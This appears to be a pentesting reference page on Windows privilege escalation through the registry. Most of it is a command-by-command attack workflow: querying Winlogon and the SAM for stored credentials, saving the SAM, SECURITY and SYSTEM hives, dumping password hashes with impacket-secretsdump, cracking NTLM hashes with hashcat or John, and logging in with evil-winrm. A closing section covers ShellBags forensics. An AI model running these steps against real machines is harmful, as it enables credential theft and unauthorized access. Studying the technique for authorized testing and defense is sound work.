Exploit Notes

Windows PrivEsc with Registry Keys

Last modified: 2023-12-06

Privilege Escalation Windows

The Windows Registry is a hierarchical database that stores low-level settings for Windows and for applications that opt to use the registry. Registry keys are container objects, which contain values and subkeys. These similar to folders.

Investigation

Find interesting registry or values in registry keys.

# HKLM: HKEY_LOCAL_MACHINE
reg query HKLM
reg query HKLM\SAM
reg query HKLM\SAM\SAM
reg query HKLM\SECURITY
reg query HKLM\SOFTWARE
reg query HKLM\SYSTEM
# Find user credentials
reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon”

# HKU: HKEY_USERS
reg query HKU
reg query HKU\S-1-2-3

# HKCU: HKEY_CURRENT_USER
reg query HKCU
reg query HKCU\System

Reveal Password from Registry Hives

A hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in.

If we can access to registries and get registry hives, the password hashes can be dumped.
Copy three hives (SAM, SECURITY, SYSTEM) to arbitrary direcotyr where we can access.

# save: Saves a copy of specified subkeys, entries, and values of the registry in a specified file.
# HKLM: HKEY_LOCAL_MACHINE
reg save HKLM\sam c:\Users\<user>\Desktop\sam.save
reg save HKLM\security c:\Users\<user>\Desktop\security.save
reg save HKLM\system c:\Users\<user>\Desktop\system.save

After that, we can dump password hashes from hives.

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

Crack Hashes

After dumping hashes, we can crack them.
First, we extract NTLM from the hash. For example, the dumped hash is below.

Administrator:500:abcdefghi...:zyxwvuts...:::

We need only the right string "zyxwvuts…", so extract it to a text file as below.

echo -n "zyxwvuts..." > hash.txt

Now crack it using Hashcat or John The Ripper.
See more details here.

# Hashcat
# -m 1000: mode NTLM
hashcat -m 1000 hash.txt wordlist.txt

# John The Ripper
john --format=nt --wordlist=wordlist.txt hash.txt

If we get the password, we can use it for abusing the target machine.
For example, we can use it to WinRM as below.

evil-winrm -i <victim_ip> -u <victim_username> -p <victim_password>

ShellBags

A set of registry keys that store details about a viewed folder, such as its size, position, and icon.

Location

c:\Users\<username>\AppData\Local\Microsoft\Windows\UsrClass.dat

If we cannot found AppData folder in Explorer, click "View" tab and check "Hidden Items".

Access to Shellbag**

  1. Search "regedit" on search bar and open "Registry Editor"

  2. Go to "Computer\HKEY_CLASSES_ROOT\LocalSettings\Software\Microsoft\Windows\Shell\Bags"

ShellBags Explorer

Extract ShellBags information.

  1. Open "ShellBags Explorer"

  2. Select "File" -> "Load offline hive"

  3. Navigate to the UsrClass.dat and open the file

  4. Find suspicious folder and file